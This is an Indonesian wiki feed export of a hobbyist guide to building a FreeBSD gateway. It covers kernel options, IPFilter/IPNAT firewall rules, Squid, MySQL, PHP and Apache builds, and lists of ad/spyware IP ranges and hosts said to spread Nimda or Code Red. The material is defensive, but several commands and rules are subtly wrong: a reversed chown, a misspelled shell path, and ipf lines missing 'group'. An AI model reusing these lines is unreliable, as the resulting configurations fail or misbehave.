#device	de		# Realtek lama (10)&lt;br /&gt;
&lt;br /&gt;
#Banyak software yang tergantung kepada bpf&lt;br /&gt;
#(discouraged), tapi sebaiknya tetap dipasang&lt;br /&gt;
pseudo-device	bpf		#Berkeley packet filter&lt;br /&gt;
&lt;br /&gt;
#Buang semua options USB yang hardwarenya tidak ada&lt;br /&gt;
device	uhci		# UHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	ohci		# OHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	usb		# USB Bus (required)&lt;br /&gt;
device	ugen		# Generic&lt;br /&gt;
#device	uhid		# &amp;quot;Human Interface Devices&amp;quot;&lt;br /&gt;
#device	ukbd		# Keyboard&lt;br /&gt;
#device	ulpt		# Printer&lt;br /&gt;
#device	umass		# Disks/Mass storage - Requires scbus and da&lt;br /&gt;
#device	ums		# Mouse&lt;br /&gt;
#device	uscanner	# Scanners&lt;br /&gt;
# USB Ethernet, requires mii&lt;br /&gt;
#device	aue		# ADMtek USB ethernet&lt;br /&gt;
#device	cue		# CATC USB ethernet&lt;br /&gt;
#device	kue		# Kawasaki LSI USB ethernet&lt;br /&gt;
&lt;br /&gt;
#Soundcard (generik)&lt;br /&gt;
device		pcm&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti untuk membuat entri2 sound&lt;br /&gt;
#(audio, mixer, sequencer dll) di /dev:&lt;br /&gt;
#cd /dev&lt;br /&gt;
#./MAKEDEV snd &lt;br /&gt;
&lt;br /&gt;
#Intel PIIX4 Power Management Unit&lt;br /&gt;
#device smbus &lt;br /&gt;
#device intpm&lt;br /&gt;
&lt;br /&gt;
#Berhubung SCSI card saya sudah sangat kuno, akhirnya saya cabut :)&lt;br /&gt;
#Jika tidak memiliki SCSI, semua options yang behubungan dengan skasi&lt;br /&gt;
#bisa dibuang&lt;br /&gt;
&lt;br /&gt;
#options 	SCSI_DELAY=8000		#Delay (in ms) before probing SCSI&lt;br /&gt;
# SCSI Controllers&lt;br /&gt;
#...&lt;br /&gt;
# SCSI peripherals&lt;br /&gt;
#...&lt;br /&gt;
&lt;br /&gt;
#Jika menggunakan firewall bawaan FreeBSD:&lt;br /&gt;
#options	IPFIREWALL&lt;br /&gt;
#options	IPDIVERT&lt;br /&gt;
#options	IPFIREWALL_VERBOSE&lt;br /&gt;
#options	IPFIREWALL_VERBOSE_LIMIT=32&lt;br /&gt;
#options	IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;
&lt;br /&gt;
#Jika anda memasang bandwith quota tambahkan entri dibawah ini&lt;br /&gt;
#options	IPDIVERT	#digunakan juga oleh ipfw/natd&lt;br /&gt;
#options	DUMMYNET&lt;br /&gt;
#options	QUOTA&lt;br /&gt;
&lt;br /&gt;
#Konfigurasi ipfilter/ipnat ini yang kita pakai&lt;br /&gt;
#cat. jika menggunakan IPFilter TIDAK PERLU ditambahkan&lt;br /&gt;
#lagi options IPDIVERT seperti yang terdapat dalam&lt;br /&gt;
#beberapa dokumentasi online&lt;br /&gt;
&lt;br /&gt;
options		IPFILTER&lt;br /&gt;
options		IPFILTER_LOG&lt;br /&gt;
options		IPFILTER_DEFAULT_BLOCK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#untuk memperketat firewall bisa ditambahkan options dibawah ini:&lt;br /&gt;
options		IPSTEALTH&lt;br /&gt;
options		TCP_DROP_SYNFIN&lt;br /&gt;
options		TCP_RESTRICT_RST	&lt;br /&gt;
&lt;br /&gt;
options         MROUTING&lt;br /&gt;
options         RANDOM_IP_ID&lt;br /&gt;
&lt;br /&gt;
#beberapa options lainnya untuk memacu performa&lt;br /&gt;
options         NBUF=4096&lt;br /&gt;
options         NMBCLUSTERS=8192&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#catatan tambahan:&lt;br /&gt;
&lt;br /&gt;
#Jika anda ingin mengubah release, copyright et-al., lakukan perubahan ini&lt;br /&gt;
#di /usr/src/sys/conf/newvers.sh&lt;br /&gt;
&lt;br /&gt;
#dari original&lt;br /&gt;
#TYPE=&amp;quot;FreeBSD&amp;quot;&lt;br /&gt;
#REVISION=&amp;quot;4.3&amp;quot;&lt;br /&gt;
#BRANCH=&amp;quot;RELEASE&amp;quot;&lt;br /&gt;
#RELEASE=4.3-RELEASE&lt;br /&gt;
#VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
if [ X&amp;quot;$COPYRIGHT&amp;quot; = X ]; then&lt;br /&gt;
	COPYRIGHT=&amp;quot;/*&lt;br /&gt;
 * Copyright (c) $year&lt;br /&gt;
 *	FreeBSD Inc. All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 */&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#menjadi violated&lt;br /&gt;
TYPE=&amp;quot;mbakNunix&amp;quot;&lt;br /&gt;
REVISION=&amp;quot;1.31&amp;quot;&lt;br /&gt;
BRANCH=&amp;quot;BURIX&amp;quot;&lt;br /&gt;
RELEASE=1.31-BURIX&lt;br /&gt;
VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
COPYRIGHT=&amp;quot;&lt;br /&gt;
/*** aa, aa.delphi@yahoo.com, 1995-$year ***/&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2.1.2 Kompilasi&lt;br /&gt;
&lt;br /&gt;
Akhirnya kita kompile kernel sbb:&lt;br /&gt;
&lt;br /&gt;
su (kita harus root)&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
chflags noschg AA (jika sekuriti diperketat, biasanya kernel diberi flag schg)&lt;br /&gt;
&lt;br /&gt;
  /usr/sbin/config -r AA &amp;amp;&amp;amp; \&lt;br /&gt;
  cd ../../compile/$1 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make depend) 2&amp;gt;~/err1 &amp;amp;&amp;amp; \&lt;br /&gt;
  make 2&amp;gt;~/err2 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make install) 2&amp;gt;~/err3&lt;br /&gt;
&lt;br /&gt;
semua error message masing-masing akan dicatat di /root, file: err1, err2 dan err3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2. Mengkonfigurasi IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
3.2.1. Konfigurasi rc.conf&lt;br /&gt;
Konfigurasi umum seperti biasa dilakukan di rc.conf&lt;br /&gt;
&lt;br /&gt;
3.2.2. Konfigurasi syslog.conf&lt;br /&gt;
&lt;br /&gt;
3.2.3. Tuning sysctl.conf&lt;br /&gt;
net.inet.ip.forwarding=1&lt;br /&gt;
net.inet.ip.fastforwarding=1&lt;br /&gt;
&lt;br /&gt;
3.2.4. ipnat.rules&lt;br /&gt;
Rules untuk IPNAT dibahas lebih dulu karena relatif jauh lebih sederhana daripada rules untuk IPF&lt;br /&gt;
&lt;br /&gt;
Catatan:&lt;br /&gt;
map artinya: remap SOURCE  packet&#039;s IP address&lt;br /&gt;
rdr artinya: redirect DESTINATION of packet&#039;s IP address&lt;br /&gt;
&lt;br /&gt;
Tambahkan baris berikut untuk mengemap :) port ftp&lt;br /&gt;
&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 proxy port 21 ftp/tcp&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 portmap tcp/udp 49152:65535 #nomor port bebas antara 0-65535&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32&lt;br /&gt;
&lt;br /&gt;
HTTP request di redirect ke server&lt;br /&gt;
&lt;br /&gt;
  rdr rl1 0/32 port 80 -&amp;gt; 192.168.1.1 port 80 tcp&lt;br /&gt;
&lt;br /&gt;
#jika perlu permintaan http dari lokal bisa di redirect ke SQUID port 3128&lt;br /&gt;
#rdr rl0 0.0.0.0/0 port 80 -&amp;gt; 192.168.1.1 port 3128 tcp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5. ipf.rules&lt;br /&gt;
&lt;br /&gt;
Default konfigurasi adalah block in all, block out all artinya dengan konfigurasi seperti ini server kita benar-benar jadi mahluk egois, tidak mau melihat kanan-kiri sedikitpun :)&lt;br /&gt;
&lt;br /&gt;
konfigurasi paling sederhana yang bisa berjalan adalah:&lt;br /&gt;
&lt;br /&gt;
  pass in all&lt;br /&gt;
  pass out all&lt;br /&gt;
&lt;br /&gt;
Artinya sama saja dengan tidak memasang firewall.&lt;br /&gt;
&lt;br /&gt;
jika server kita hanya digunakan untuk mengakses internet keluar (outward-only), cukup kita isi firewall rules dengan satu baris:&lt;br /&gt;
&lt;br /&gt;
  pass out quick all keep state keep frags&lt;br /&gt;
&lt;br /&gt;
untuk ipf ver 4.32 (FreeBSD 4.5+) rule &amp;quot;keep&amp;quot; tidak bisa diterapkan kepada paket selain tcp/udp/icmp, jadi rule diatas dibagi menjadi:&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp/udp all keep state keep frags&lt;br /&gt;
  pass out quick proto icmp all keep state keep frags&lt;br /&gt;
  pass out quick all&lt;br /&gt;
  &lt;br /&gt;
Dengan menggunakan keep state, kita tinggal membuka port yang kita perlukan saja, lalu-lintas koneksi yang terkait dengan servis/port tsb selanjutnya ditangani oleh ipf, misalnya:&lt;br /&gt;
&lt;br /&gt;
  block in quick all&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
&lt;br /&gt;
meski diatas terdapat block, icmp-reply akan tetap bisa masuk masuk karena memang diminta oleh icmp-echo.&lt;br /&gt;
pada protokol tcp/udp lainnya, pembukaan gerbang masuk ini mencakup juga control messages berupa icmp atau bahkan segmen IP dengan nomor port lainnya yang berbeda, yang masih terkait dalam koneksi tersebut.&lt;br /&gt;
  &lt;br /&gt;
catatan tambahan:                                        &lt;br /&gt;
Sebaiknya keep-state jangan terlalu di-obral supaya tidak menghabiskan resources atau bahkan membuka celah security berupa Denial of Service (DoS) Attack, lebih tepat kiranya jika hanya protokol TCP dengan SYN Flag serta port-port tertentu saja yang dipasangi keep-state seperti FTP (21), SSH (22), SMTP (25), DNS (53), DHCP (67/58), serta ICMP echo.&lt;br /&gt;
Jika hanya permintaan koneksi (ditandai dengan SYN flag) dari servis/port tertentu yang dibuka, jalur masuk semua ditutup (block in all), port FTP mau tidak mau harus diberi keep state karena setelah koneksi terjadi dia akan membuka port/jalur baru (UDP port 20, atau TCP dengan unassigned [high number] port) untuk komunikasi data.&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp flags S keep state&lt;br /&gt;
  pass out quick proto udp port = 53 keep state&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
  pass out quick all&lt;br /&gt;
&lt;br /&gt;
Karena pembahasan ipf ini cukup panjang, maka akan kita singkat saja dengan menggunakan rules yang berguna secara umum&lt;br /&gt;
&lt;br /&gt;
[pre]&lt;br /&gt;
#UMUM&lt;br /&gt;
pass in  quick on lo0&lt;br /&gt;
pass out quick on lo0&lt;br /&gt;
&lt;br /&gt;
#NBNS&lt;br /&gt;
block return-rst in quick proto tcp all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
block return-icmp-as-dest(port-unr) in quick all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
&lt;br /&gt;
#============================================================&lt;br /&gt;
#if_1 adalah eksternal interface (yang terhubung ke internet)&lt;br /&gt;
#============================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_1 all head 10000&lt;br /&gt;
#Start group 10000&lt;br /&gt;
&lt;br /&gt;
   block in quick all with opt lsrr group 10000 #block loose src routing&lt;br /&gt;
   block in quick all with opt ssrr group 10000 #block strict src routing&lt;br /&gt;
   block in quick proto tcp all with frags group 10000&lt;br /&gt;
&lt;br /&gt;
   #block no. ip address yang diketahui berbahaya, bervirus dsb.&lt;br /&gt;
   #block in quick proto tcp/udp from Danger_IPs group 10000&lt;br /&gt;
   #(lihat daftar 3.2.5.2)&lt;br /&gt;
&lt;br /&gt;
   pass in quick proto tcp all port = http flags S keep state group 10000 #jika kita pasang web server&lt;br /&gt;
&lt;br /&gt;
   block in quick proto icmp all head 11000 group 10000 #blok icmp yang tidak perlu&lt;br /&gt;
   #Start group 11000&lt;br /&gt;
      #pass in log first quick proto icmp all icmp-type echo group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type echorep group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type unreach group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type redir group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type timex group 11000&lt;br /&gt;
      block in return-icmp-as-dest(host-unr) in quick all group 11000&lt;br /&gt;
   #End group 11000&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   block return-rst in quick proto tcp all group 10000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 10000&lt;br /&gt;
&lt;br /&gt;
#End group 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_1 all head 20000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags group 20000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 20000&lt;br /&gt;
pass out quick all 20000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#===========================================================&lt;br /&gt;
#if_2 adalah internal interface (yang terhubung ke intranet)&lt;br /&gt;
#===========================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_2 all head 30000&lt;br /&gt;
#Start group 30000&lt;br /&gt;
&lt;br /&gt;
   #Test User, tahan uninitialized host&lt;br /&gt;
   block in quick from !192.168.1.1/24 to any head 31000 group 30000&lt;br /&gt;
   #Start group 31000&lt;br /&gt;
 &lt;br /&gt;
      #Unknown User, harus daftar dhcp dulu&lt;br /&gt;
      pass in log first quick proto tcp/udp from any port = 68 to any port = 67 group 31000&lt;br /&gt;
      block return-icmp-as-dest(host-unk) in log first quick all group 31000 #Unknown&lt;br /&gt;
    &lt;br /&gt;
      #HTTP&lt;br /&gt;
      #Tahan dulu http untuk diinterogasi, mau kemanakah tujuannya.&lt;br /&gt;
      block in log first quick all port = http head 32000 group 31000&lt;br /&gt;
      #Start group 32000&lt;br /&gt;
    &lt;br /&gt;
         #HTTP block template: popups, junker, spammer etc. dilarang!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 64.38.238.0/18 group 32000 #ADS!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 66.28.153.36/24 group 32000 #porn&amp;amp;spy!&lt;br /&gt;
         #...dst (lihat daftar 3.2.5.1 yang berisi IP popups/spyies)&lt;br /&gt;
      &lt;br /&gt;
         #aman...&lt;br /&gt;
         pass in log first quick proto tcp all flags S keep state keep frags group 32000&lt;br /&gt;
         &lt;br /&gt;
         #HTTP-TCP only, yg lainnya di-blok by default!&lt;br /&gt;
         block return-rst in quick proto tcp all group 32000&lt;br /&gt;
    &lt;br /&gt;
      #End group 32000&lt;br /&gt;
   #End group 31000&lt;br /&gt;
 &lt;br /&gt;
   #Pada tahap ini user telah dikenal (dari 192.168.1.1/24) dan dengan permintaan port selain http&lt;br /&gt;
   #atau user dari 192.168.1.1/24 dengan port http namun protokolnya selain tcp&lt;br /&gt;
   &lt;br /&gt;
   #Tahan permintaan DNS keluar&lt;br /&gt;
   block return-icmp-as-dest(filter-prohib) in quick proto tcp/udp from any to 202.155.0.10/24 port = domain group 30000&lt;br /&gt;
 &lt;br /&gt;
   pass in log first quick proto tcp/udp all port &amp;lt; 1024 keep state group 30000 #regular ports&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3130 keep state group 30000 #SQUID&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3306 keep state group 30000 #MySQL&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   #lainnya secara default di-blok&lt;br /&gt;
   block return-rst in quick proto tcp all group 30000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 30000&lt;br /&gt;
&lt;br /&gt;
#End group 30000&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_2 all head 40000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags 40000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 40000&lt;br /&gt;
pass out quick all 40000&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5.1 Daftar alamat IP popup&lt;br /&gt;
Berikut ini daftar ip popup dan advertising banner, spy, spammer dll yang selain menyebalkan juga kadang berbahaya.&lt;br /&gt;
cat.: ganti kata &amp;quot;BLOK&amp;quot; dengan: &amp;quot;block return-rst in log first quick proto tcp from any to&amp;quot;, juga nomor group disesuaikan dengan konfigurasi&lt;br /&gt;
&lt;br /&gt;
  #HTTP block template&lt;br /&gt;
&lt;br /&gt;
  #Hall Of Fames - top of sh*ts!-&lt;br /&gt;
  BLOK 64.38.238.0/18 group 42000 #popups.ini&lt;br /&gt;
  BLOK 64.38.223.51/24 group 42000 #!!!trafficcashgold.com&lt;br /&gt;
  BLOK 64.38.226.6/24 group 42000 #maxcash.cavecreek.net&lt;br /&gt;
  BLOK 64.38.247.60/24 group 42000 #count1-old.paycounter.com[]&lt;br /&gt;
  BLOK 205.180.85.40/24 group 42000 #popups.ini TOP!!! media.fastclick.net&lt;br /&gt;
  BLOK 202.180.8.129/24 group 42000 #ns1.servercyber.com&lt;br /&gt;
  BLOK 207.68.178.251/24 group 42000 #ads.msn.com&lt;br /&gt;
  BLOK 207.68.185.58/24 group 42000 #autosearch.msn.com&lt;br /&gt;
  BLOK 207.68.171.254/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.172.253/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.173.254/22 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 209.225.0.6/24 group 42000 #servedby.advertising.com&lt;br /&gt;
  BLOK 209.225.4.72/24 group 42000 #advertising.com&lt;br /&gt;
&lt;br /&gt;
  #telkom!dont-block: BLOK 203.130.252.36/24 group 42000 #mencurigakan sih&lt;br /&gt;
&lt;br /&gt;
  #dangerous!&lt;br /&gt;
    BLOK 66.28.38.3/24 group 42000 #&lt;br /&gt;
    BLOK 209.50.252.100/24 group 42000 #4bigcash.com&lt;br /&gt;
    BLOK 209.5.187.10/24 group 42000 #freepopups.com&lt;br /&gt;
    #BLOK 209.5.187.16/24 group 42000 #adpowerzone.com&lt;br /&gt;
    #BLOK 213.249.1.67/24 group 42000 #d67.kif2.nas.panafonet.gr&lt;br /&gt;
  #End dangerous&lt;br /&gt;
&lt;br /&gt;
  #from popups.ini&lt;br /&gt;
    BLOK 12.42.235.3/24 group 42000 #popups.ini&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.95.228.15/24 group 42000 #popups.ini&lt;br /&gt;
  #end-from popups.ini&lt;br /&gt;
&lt;br /&gt;
  #new compilation&lt;br /&gt;
    #BLOK 66.206.15.201/24 group 42000 #indo-porn, gapapa-lah&lt;br /&gt;
    BLOK 63.167.204.56/24 group 42000 #7adpower.com&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 128.11.42.61/24 group 42000 #burstnet.com&lt;br /&gt;
    #dont-block-yahoo: BLOK 66.218.71.80/24 group 42000 #w1.scd.yahoo.com&lt;br /&gt;
  #end-new compilation&lt;br /&gt;
&lt;br /&gt;
  #old compilation&lt;br /&gt;
    BLOK 12.90.179.10/16 group 42000&lt;br /&gt;
    BLOK 63.215.149.25/24 group 42000 #porno&lt;br /&gt;
    BLOK 192.150.10.120/16 group 42000 #adobe spyier!!!&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.218.220.42/24 group 42000 #servergold.com - porn&lt;br /&gt;
    #beware! Namezeroes are always peeking our nbns port!&lt;br /&gt;
    BLOK 216.34.13.245 port != 80 group 42000&lt;br /&gt;
&lt;br /&gt;
  #end-old-compilation&lt;br /&gt;
&lt;br /&gt;
3.2.5.2 Daftar alamat IP berbahaya&lt;br /&gt;
Berikut ini daftar alamat IP berbahaya karena menyebarkan virus nimda atau code-red hingga tulisan ini dibuat (mungkin IP anda tercantum disini, selamat! :)).&lt;br /&gt;
penggunaannya dalam ipf.rules misalnya:&lt;br /&gt;
&lt;br /&gt;
  block return-rst in log first quick on rl1 proto tcp from 202.10.35.227 to any Group 23456 #Nimda&lt;br /&gt;
&lt;br /&gt;
  4.47.218.144#code_red&lt;br /&gt;
  &lt;br /&gt;
#internal INDOSAT NET-10.X.X.X&lt;br /&gt;
  10.1.8.108#nimda&lt;br /&gt;
  10.6.2.4#nimda&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  10.6.18.68#nimda&lt;br /&gt;
#end: internal INDOSAT NET-10.X.X.X&lt;br /&gt;
&lt;br /&gt;
  24.73.201.22#code_red&lt;br /&gt;
  24.80.172.120#code_red&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  24.196.16.168#code_red&lt;br /&gt;
  219.8.104.74#nimda&lt;br /&gt;
&lt;br /&gt;
4.Lain-lain&lt;br /&gt;
Dalam bagian ini diasumsikan bahwa kita akan menginstal program dari source kodenya, yang diekstrak ke direktori /usr/local/src, mis.: tar -xpvzf apache.tgz -C /usr/local/src.&lt;br /&gt;
bagian version number, jika ada, sebaiknya dihilangkan, mis.: mv  apache-1.1.23pl8  apache&lt;br /&gt;
&lt;br /&gt;
4.1. Squid&lt;br /&gt;
/configure --enable-ipf-transparent \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang perlu:&lt;br /&gt;
--prefix=/usr/local \&lt;br /&gt;
--bindir=\${prefix}/sbin \ &lt;br /&gt;
--libexecdir=\${prefix}/libexec \&lt;br /&gt;
--sysconfdir=\${prefix}/etc/squid \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang mungkin perlu:&lt;br /&gt;
--enable-storeio=&amp;quot;ufs diskd null&amp;quot; \&lt;br /&gt;
--enable-removal-policies=&amp;quot;lru heap&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
#parameter tambahan:&lt;br /&gt;
--localstatedir=\${prefix}/squid \&lt;br /&gt;
--host=i686 \&lt;br /&gt;
--disable-ident-lookups \&lt;br /&gt;
--disable-wccp \&lt;br /&gt;
--enable-kill-parent-hack \&lt;br /&gt;
--enable-time-hack \&lt;br /&gt;
--with-pthreads &lt;br /&gt;
&lt;br /&gt;
make all; make install&lt;br /&gt;
&lt;br /&gt;
Dengan parameter diatas kita akan memperoleh konfigurasi squid yang mirip seperti jika kita menginstalnya melalui package.&lt;br /&gt;
Kemudian file logs dan cache di direktori /usr/local/etc/squid di chown nobody:nogroup (atau sesuai dengan usernya jika telah dibuat user untuk squid, seperti user mysql dibawah).&lt;br /&gt;
Setelah itu kita buat intial cache directory dengan menjalankan: squid -z. Default cache size adalah 100MB.&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi MySQL, PHP dan Apache==&lt;br /&gt;
&lt;br /&gt;
==MySQL==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --localstatedir=/var/db/mysql \&lt;br /&gt;
  --with-unix-socket-path=/var/run/mysql.sock \&lt;br /&gt;
  --host=i686 \&lt;br /&gt;
  --enable-assembler \&lt;br /&gt;
  --with-libwrap \&lt;br /&gt;
  --with-berkeley-db \&lt;br /&gt;
  --with-named-z-lib \&lt;br /&gt;
  --with-mysqld-ldflags=-all-static \&lt;br /&gt;
  --with-client-ldflags=-all-static \&lt;br /&gt;
  --without-debug \&lt;br /&gt;
  --without-bench \&lt;br /&gt;
  --without-docs \&lt;br /&gt;
  --without-readline&lt;br /&gt;
 &lt;br /&gt;
 make; make install&lt;br /&gt;
&lt;br /&gt;
Tambahkan user mysql dengan ID misalkan = 3036&lt;br /&gt;
&lt;br /&gt;
 pw add group mysql -g 3036&lt;br /&gt;
 pw add user mysql -u mysql -g mysql -wno -s /sbin/nologint -d /var/db/mysql -c &amp;quot;MySQL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Direktori localstatedir (/var/db/mysql) diatas, *harus* read/write by user mysql:&lt;br /&gt;
chown -R /var/db/mysql mysql:mysql&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
Sebelumnya kita harus cd ke source apache dulu: cd /usr/local/src/apache, lalu jalankan  ./configure (plain).&lt;br /&gt;
&lt;br /&gt;
Kemudian baru cd ke source php: cd /usr/local/src/php dan mengkonfigurasi php sesuai preferensi kita.&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --build=i686 \&lt;br /&gt;
  --prefix=/usr/local \&lt;br /&gt;
  --with-mysql=/usr/local \&lt;br /&gt;
  --with-apache=../apache \&lt;br /&gt;
  --with-pcre-regex=/usr/local \&lt;br /&gt;
  --with-mcrypt \&lt;br /&gt;
  --with-zlib \&lt;br /&gt;
  --with-ftp \&lt;br /&gt;
  --enable-track-vars \&lt;br /&gt;
  --enable-ctype &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
==Apache==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --enable-module=most \&lt;br /&gt;
  --enable-shared=max \&lt;br /&gt;
  --server-uid=www \&lt;br /&gt;
  --server-gid=www \&lt;br /&gt;
  --activate-module=src/modules/php4/libphp4.a &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Penutup==&lt;br /&gt;
&lt;br /&gt;
Sesuai dengan tujuan utama tulisan ini, beberapa sub-sistem mungkin hanya sedikit atau sama sekali tidak dibahas, bagian-bagian tersebut dianggap sesuai dengan instalasi default.&lt;br /&gt;
Terakhir, penulis dengan senang hati akan menerima kritik dan saran dari pembaca semua, semoga ada manfaatnya.&lt;br /&gt;
&lt;br /&gt;
 aa, aa.delphi@yahoo.com&lt;br /&gt;
&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;/div&gt;</summary>
		<author><name>Aa</name></author>
	</entry>
	<entry>
		<id>https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4663</id>
		<title>Mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global</title>
		<link rel="alternate" type="text/html" href="https://lms.onnocenter.or.id/wiki/index.php?title=Mengoptimalkan_kemampuan_firewall_dan_proxy_server_FreeBSD_dalam_sebuah_network_sederhana_yang_hanya_memiliki_satu_IP_global&amp;diff=4663"/>
		<updated>2008-07-27T03:55:52Z</updated>

		<summary type="html">&lt;p&gt;Aa: /* File domain.rev: */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Sumber:  aa, aa.delphi@yahoo.com&lt;br /&gt;
URL: http://opensource.telkomspeedy.com/forum/viewtopic.php?pid=22122&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dalam tulisan ini akan dibahas (mudah-mudahan) secara cukup detail, bagaimana mengoptimalkan kemampuan firewall dan proxy server FreeBSD dalam sebuah network sederhana yang hanya memiliki satu IP global, baik dinamik maupun statik (dial-up PPP, Cable-Modem atau DSL).&lt;br /&gt;
&lt;br /&gt;
Model network seperti ini merupakan model yang sangat umum digunakan oleh warnet serta perusahaan kecil yang berniat untuk memberikan akses internet yang murah meriah bagi para karyawannya.&lt;br /&gt;
&lt;br /&gt;
Teknik yang akan dibahas ini merupakan salah satu (mungkin merupakan yang terbaik) dibandingkan dengan alternatif lainnya seperti menggunakan hardware tertentu (modem dengan kapabilitas internet sharing), kelemahan: jumlah host sangat terbatas, antara 2 - 8, serta fleksibilitasnya sangat rendah, hampir tanpa menggunakan pengamanan dari intruder.&lt;br /&gt;
&lt;br /&gt;
Pilihan lainnya adalah dengan sistem operasi MS Windows (yang sudah sangat familiar), fleksibilitas cukup, namun dengan tingkat pengamanan yang relatif rendah.&lt;br /&gt;
&lt;br /&gt;
Pilihan OS lainnya seperti Linux, OpenBSD atau Solaris bisa juga diperhitungkan, namun overall performance, kombinasi FreeBSD dan IPF adalah yang terbaik dinilai dari segi keamanan/security, performansi, dukungan resources (software, kompatibilitas, utilitas dan dokumentasi) yang tersedia, serta biaya yang dibutuhkan. Dengan FreeBSD mesin 386 tua milik kita disulap menjadi sebuah server yang powerful, robust dan tahan banting.&lt;br /&gt;
&lt;br /&gt;
cat: IPF (IPFilter) adalah paket firewal native dari OpenBSD, sistem operasi yang selama ini dinilai sebagai salah satu OS yang dianggap paling secure.&lt;br /&gt;
&lt;br /&gt;
==Topologi Network==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
===============================================&lt;br /&gt;
&lt;br /&gt;
             _____&lt;br /&gt;
            | ISP |&lt;br /&gt;
            |_____|&lt;br /&gt;
  DNS: 202.155.0.10, 202.155.0.20&lt;br /&gt;
               |&lt;br /&gt;
               | 10.20.30.40&lt;br /&gt;
            ___|___  &lt;br /&gt;
           |FreeBSD|........... &lt;br /&gt;
           |_______|  Virtual-Host 192.168.2.1&lt;br /&gt;
  my.domain.box|  Gateway      &lt;br /&gt;
   192.168.1.1 |  Firewall - IPF/IPNAT&lt;br /&gt;
               |  DNS Server - BIND&lt;br /&gt;
   Network:    |  HTTP Server - Apache&lt;br /&gt;
